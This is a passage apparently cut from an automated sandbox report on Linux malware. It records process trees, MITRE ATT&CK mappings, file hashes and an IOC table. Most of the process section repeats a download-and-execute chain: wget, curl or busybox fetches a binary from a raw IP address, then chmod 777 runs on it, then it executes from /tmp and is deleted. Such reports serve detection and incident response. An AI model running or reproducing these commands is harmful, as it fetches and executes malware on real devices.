  /bin/busybox wget http://216.126.231.240/bins/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  PID:979
- /bin/chmod
  chmod 777 SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  ./SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  PID:982
- /usr/bin/wget
  wget http://216.126.231.240/bins/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  PID:983
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  PID:985
- /bin/chmod
  chmod 777 cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  ./cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  PID:988
- /usr/bin/wget
  wget http://216.126.231.240/bins/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  PID:989
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  PID:991
- /bin/chmod
  chmod 777 57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  ./57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm 57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  PID:994
- /usr/bin/wget
  wget http://216.126.231.240/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  PID:995
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  PID:997
- /bin/chmod
  chmod 777 BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  ./BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://216.126.231.240/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  PID:1001
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  PID:1003
- /bin/chmod
  chmod 777 evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  - File and Directory Permissions Modification
  PID:1004
- /tmp/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  ./evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  - Executes dropped EXE
  PID:1005
- /bin/rm
  rm evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  PID:1006
- /usr/bin/wget
  wget http://216.126.231.240/bins/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  PID:1007
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1008
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  PID:1009
- /bin/chmod
  chmod 777 8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  ./8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm 8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	process
/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW	771	BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
/tmp/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu	777	evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
/tmp/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju	799	8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
/tmp/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv	834	57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
/tmp/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3	840	K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
/tmp/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS	863	n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
/tmp/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL	882	de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
/tmp/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv	891	YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
/tmp/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q	897	NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
/tmp/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO	903	WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
/tmp/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83	909	bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
/tmp/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8	915	VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
/tmp/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d	921	SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
/tmp/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72	927	cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
/tmp/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q	933	NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
/tmp/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO	939	WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
/tmp/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3	945	K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
/tmp/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS	951	n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
/tmp/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL	957	de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
/tmp/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv	963	YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
/tmp/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83	969	bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
/tmp/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8	975	VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
/tmp/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d	981	SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
/tmp/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72	987	cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
/tmp/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv	993	57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW	999	BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
/tmp/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu	1005	evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
/tmp/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju	1011	8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju